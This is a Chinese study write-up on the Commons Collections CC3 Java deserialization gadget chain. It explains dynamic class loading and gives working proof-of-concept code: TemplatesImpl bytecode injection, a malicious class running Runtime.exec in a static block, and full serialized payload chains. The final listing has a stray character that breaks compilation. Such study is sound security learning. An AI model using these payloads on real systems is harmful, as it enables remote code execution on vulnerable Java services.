CC链学习–cc3 前言 前面学习了cc1和cc6,今天来学习一下cc3,cc3基于cc1有了一点点。由之前的的改变,cc3链就是改变了最后的执行类,由之前的Runtime命令执行改变为动态类加载,能够任意执行代码,对于命令执行,代码执行应用更加广泛。和cc1相比一个是命令执行,一个是代码执行。
分析 既然说到了动态类加载,这里我们先来了解一下动态类加载
动态类加载机制 Java 是运行在 Java 的虚拟机(JVM)中的,但是它是如何运行在JVM中了呢?我们在IDE中编写的 Java 源代码被编译器编译成 .class
的字节码文件。然后由我们得由类加载器负责将这些 class 文件给加载到 JVM 中去执行。JVM提供了三层类加载器
Bootstrap classLoader:启动类加载器,主要负责加载核心的类库(java.lang.*等),构造 ExtClassLoader 和 APPClassLoader。
ExtClassLoader:拓展类加载器,主要负责加载 JAVA_HOME/lib/ext 目录下的一些扩展的 jar。 AppClassLoader:应用程序类加载器,主要负责加载应用程序的主函数类
加载类就是指从编译好的字节码.class
文件(所有能被恢复成一个类,并且能在 JVM 虚拟机中加载的字节序列)中加载类,不管是远程服务器 上的字节码文件还是本地的字节码文件或者 jar 包。
首先调用 ClassLoader
类中的 loadClass
方法,从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,就会交给ClassLoader
类中 findClass
方法;然后findClass
方法根据基础路径指定的方式来加载类的字节码,可能会在本地文件系统、jar 包或远程 http 服务器上读取字节码,然后将字节码交给 defineClass
双亲委派机制 当一个Hello.class这样的文件要被加载时,不考虑我们自定义类加载器。首先会在 AppClassLoader 中检查是否加载过,如果有那就无需再加载了。如果没有,那么会拿到父加载器,然后调用父加载器的 loadClass 方法。父类中同理也会先检查自己是否已经加载过,如果没有再往上。注意这个类似递归的过程,直到到达 Bootstrap ClassLoader 之前,都是在检查是否加载过,并不会选择自己去加载。直到 Bootstrap ClassLoader ,已经没有父加载器了,这时候开始考虑自己是否能加载了,如果自己无法加载,会下沉到子加载器去加载,一直到最底层,如果没有任何加载器能加载,就会抛出 ClassNotFoundException。
沙箱安全机制:比如自己写的 String.class 不被加载,防止核心类被随意篡改
避免类的重复加载:当父类加载器已经加载了该类的时候就不需要子类加载器加载了
可以见得真正核心的部分其实是 defineClass
,他决定了如何将一段字节流转变成一个 Java 类,Java 默认的 ClassLoader#defineClass
是一个 native方法(Java调用非Java代码的接口),逻辑在 JVM 的C语言代码中。
注意一点,在 defineClass()
被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的 static 块中,在 defineClass()
时也无法被直接调用到。所以,如果我们要使用 defineClass()
在目标机器上执行任意代码,需要想办法调用构造函数 newInstance()
又因为ClassLoader#defineClass
这个方法是受保护的,无法直接在外部访问,需要使用反射的知识进行调用
1 2 3 4 5 6 7 8 9 10 11 12 import java.lang.reflect.Method; import java.util.Base64; public class HelloDefineClass { public static void main(String[] args) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM"); Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length); hello.newInstance(); } }
运行后输出Hello World
综上所述,既然是我们想通过加载类来实现任意代码执行,所以就要找到一个重写了 defineClass()
方法的类,它的链上的某个类里面要调用了 newInstance()
方法,才能实现任意代码执行
动态类加载的步骤
动态类加载从ClassLoader开始
ClassLoader类里Classloader调用了loaderclass类,loaderclass类调用了defineclass类
从defineclass开始CC3
找到com.sun.org.apache.xalan.internal.util
跟进去看看denfineclass是如何调用的
其中没有作用域,只有在自己包底下再能调用,在向下跟,发现在自己包底下
defineTransletClasses()方法里也是私有的调用,我们接着去找去找他在哪里变成了public
可以看在在getTransletInstance里调用了,并且进行了初始化,初始化后我们也就可以进行代码执行操作了,但耐于他还是私有的,我们接着向下找
找到了同类下面的public方法
捋一下流程:
我们需要利用TemplatesImpl,对TemplatesImpl进行实例化new TemplatesImpl(),调用到newTemplatesImpl()方法,该方法中调用了getTransletInstance(),
接着跟getTransletInstance()函数
我们需要调用defineTransletClass(),
接着到defineTransletClass()函数
这里_bytecodes和_tfactory都要 需要赋值
1 _bytecodes 不赋值就抛异常了,_tfactory需要调方法的 也需要赋值
初步cc3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class cc3 { public static void main(String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl(); Class templatesClass= templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field byteField = templatesClass.getDeclaredField("_bytecodes"); byteField.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("F:\\CTF\\Java\\RECC\\target\\classes\\Test.class")); byte[][] codes={code}; byteField.set(templates,codes); Field tfartoryField = templatesClass.getDeclaredField("_tfactory"); tfartoryField.setAccessible(true); tfartoryField.set(templates,new TransformerFactoryImpl()); templates.newTransformer(); } }
运行后发现爆空指针错误
调试后发现是
在TemplatesImpl 422行爆了空指针错误,原因是我们调用的恶意文件的父类和ABSTRACT_TRANSLET不相等,
思路一是想着让他相等符合条件,另外想着是给_transletIndex赋值,进了else后_transletIndex会是-1不符合下面_transletIndex<0的条件,所以让他符合就好了
让他相等也很简单,让你的恶意类继承一下AbstractTranslet就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { public Test() { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } static { try { Runtime.getRuntime().exec("calc"); } catch (IOException var1) { throw new RuntimeException(var1); } } }
之后就可以代码执行了
这样CC3+CC1前半段
cc3.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class cc3 { public static void main (String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl (); Class tc=templates.getClass(); Field nameFiled=tc.getDeclaredField("_name" ); nameFiled.setAccessible(true ); nameFiled.set(templates,"aaaa" ); Field bytecodesField=tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte []code= Files.readAllBytes(Paths.get("F:\\CTF\\Java\\RECC\\target\\classes\\Test.class" )); byte [][]codes={code}; bytecodesField.set(templates,codes); Field tfactoryField=tc.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); chainedTransformer.transform(1 ); HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazydMap = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationhdlConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class,lazydMap); Map mapProxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class []{Map.class},h); Object o = annotationInvocationhdlConstructor.newInstance(Override.class,mapProxy); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(object); } public static void unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); objectInputStream.readObject(); } }
Test.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet { public Test () { } public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException var1) { throw new RuntimeException (var1); } } }
当InvokerTransformer类被过滤的时候,我们无法通过cc1前半段加cc3后半段来进行执行命令,那我们该怎么办,看到原版的cc3
可以看到用了InstantiateTransformer,还有TrAXFilter,我们回到newTransformer这里,我们知道要执行代码得用到newTransformer,那InvokerTransformer被过滤的时候我们没法到newTransformer,继续向上找找哪里调用了newTransformer
这么多用法,我们最后看到TrAXFiler类里面
但是由于 TrAXFilter 类并没有继承 序列化接口,所以它不能够进行序列化。需要 TrAXFilter 类的class才可以。
CC3的作者找到了一个 InstantiateTransformer 类的 transform方法。
判断传进来的参数是否是class,后面调用参数的构造器,调用构造方法
先看一下怎么利用InstantiateTransformer 去调用TrAXFilter的Transform方法
1 2 InstantiateTransformer instantiateTransformer= new InstantiateTransformer(new Class[]{TemplatesImpl.class},new Object[]{}); instantiateTransformer.transform(TrAXFilter.class);
完整cc3poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class cc3 { public static void main(String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl(); Class tc=templates.getClass(); Field nameFiled=tc.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaaa"); Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[]code= Files.readAllBytes(Paths.get("F:\\CTF\\Java\\RECC\\target\\classes\\Test.class")); byte[][]codes={code}; bytecodesField.set(templates,codes); Field tfactoryField=tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); // templates.newTransformer(); InstantiateTransformer instantiateTransformer= new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); // instantiateTransformer.transform(TrAXFilter.class); Transformer[] transformers; transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class),a instantiateTransformer }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); // chainedTransformer.transform(1); HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazydMap = LazyMap.decorate(map, chainedTransformer); Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationhdlConstructor.setAccessible(true); InvocationHandler h =(InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class,lazydMap); Map mapProxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); Object o =annotationInvocationhdlConstructor.newInstance(Override.class,mapProxy); serialize(o); unserialize("ser.bin"); } public static void serialize(Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(object); } //反序列化方法 public static void unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } }